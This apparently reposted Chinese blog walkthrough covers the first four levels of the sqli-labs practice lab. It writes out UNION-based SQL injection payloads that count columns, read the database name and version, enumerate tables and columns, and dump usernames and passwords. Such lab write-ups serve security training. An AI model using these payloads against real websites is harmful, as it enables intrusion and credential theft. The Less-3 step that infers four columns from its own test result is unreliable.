sqli-labs-master通关(持续更新...)

Less-1 GET-Eeeor based-single quotes -String

(GET型基于错误的单引号字符型注入)

1.输入单引号,页面报错,爆出sql语句,考虑字符型(单引号)注入。

2.判断主查询列数, order by 4报错,order by 3 正常,可以判断存在3列。 

?id=1 order by 4%23

 3.判断占位符,2,3为显示位置,就在这里进行注入。

4. 查询数据库库名和数据库版本号。

?id=-1' union select 1,database(),version()%23

 5.查询数据库的表名。

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

扫描二维码关注公众号,回复: 17266868 查看本文章

6. 查询字段名。

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

7.查询字段下的内容信息。

?id=-1' union select 1,group_concat(username),group_concat(password) from users%23

Less-2 GET-Eeeor based-Intiger based

(GET型数字注入)

从题目中已经知道是数字型注入了:

1.order by判断主查询列数,order by 4报错,order by 3 正常,可以判断存在3列。

?id=2 order by 4#

2.判断占位情况,也就是哪个位置会显示查询的语句,就在这里进行注入。可以看到图中2、3可以看到,选择在这两个位置进行注入。

?id=-2 union select 1,2,3#

3.union联合查询数据库的库名和数据库版本。

补充:在MySQL(5.0)之后的版本就有information_shcema表了。

           table.schema(数据库) column.table(表列) table.name(表名) group_concat(查询所有)

?id=-2 union select 1,database(),version()#

4.union联合查询数据的表名。

?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

 5.union联合查询users表下的字段名。

?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

 6.获取用户信息,查字段username和password。

?id=-2 union select 1,group_concat(username),group_concat(password) from users#

Less-3 GET-Eeeor based-Single quotes with twist-String

1.通过测试可以知道是字符型注入,使用')报错。

 2.使用 order by查询主查询列数。order by3正常,order by4异常,可以判断4列

3.判断显示位,为2和3。 

4.联合查询数据库库名和版本。

 5.查询数据库下的表名。

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

 6.查询users表的字段名。

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

7.查询字段password和username。

?id=-1') union select 1,group_concat(username),group_concat(password) from users %23

 Less-4 GET-Eeeor based-Double Quotes -String

1.判断是字符型注入,")爆出SQL语句。

 除了闭合不同,其他的与上面注入一致。

猜你喜欢

转载自blog.csdn.net/weixin_54438700/article/details/120074599